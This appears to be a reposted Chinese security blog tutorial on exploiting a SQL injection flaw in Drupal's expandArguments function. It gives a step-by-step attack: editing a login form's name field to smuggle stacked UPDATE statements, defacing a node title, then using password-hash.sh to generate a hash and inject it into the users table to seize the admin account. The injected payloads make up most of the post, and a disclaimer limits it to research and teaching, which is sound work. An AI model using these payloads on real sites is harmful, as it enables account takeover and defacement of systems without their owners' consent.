“如何通过分析代码,利用Drupal系统漏洞修改数据库,通过password-hash.sh生成哈希密码,修改用户密码。”
通过分析代码,我们可以发现Drupal系统里面有expandArguments函数,通过foreach过滤函数将数据库键转为为值
这里就是利用对键进行注入写入数据库的
我们可以通过PHPMyadmin修改数据,然后鼠标回到最上方就可以看到我们执行的语句,这里我们执行了一个语句
UPDATE `drupal`.`node_revision` SET `title` = `HACKED by me` WHERE `node_revision`.`vid`=1;
然后我们在浏览器里右键审核元素,这里我们看到的提交的表单,右键Edit As HTML
我们将原有的name的值,修改为
name[0;UPDATE node revision SET title = 'hacked by me' where nid =1;--]
然后左边随意输入用户名和密码,点击登录
然后刷新页面,就会发现一个奇葩的事情,版本更新日志一栏被篡改了
同样的道理,如果我们知道了如何更新用户数据表的内容,是不是也可以注入呢?
UPDATE `drupal`.`users` SET `pass`=`asdasdasd` WHERE `users`.`uid`=1;
但是这里面涉及到一个问题,就是用户密码保存是哈希值
那么如何找到哈希算法呢?我们在Drupal系统的Scripts路径下找到了password-hash.sh
那我们现在通过这个sh脚本文件生成哈希值
./scripts/password-hash.sh hackerloiisveryhandsome
然后就可以获得hash值了
然后,我们把Hash值加到刚才的那个sql语句,然后再通过之前的方法在前端写入
然后通过我们的用户名和密码就可以登录后台了.
原文始发于微信公众号(巡安似海):如何通过SQL注入修改密码登录后台
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论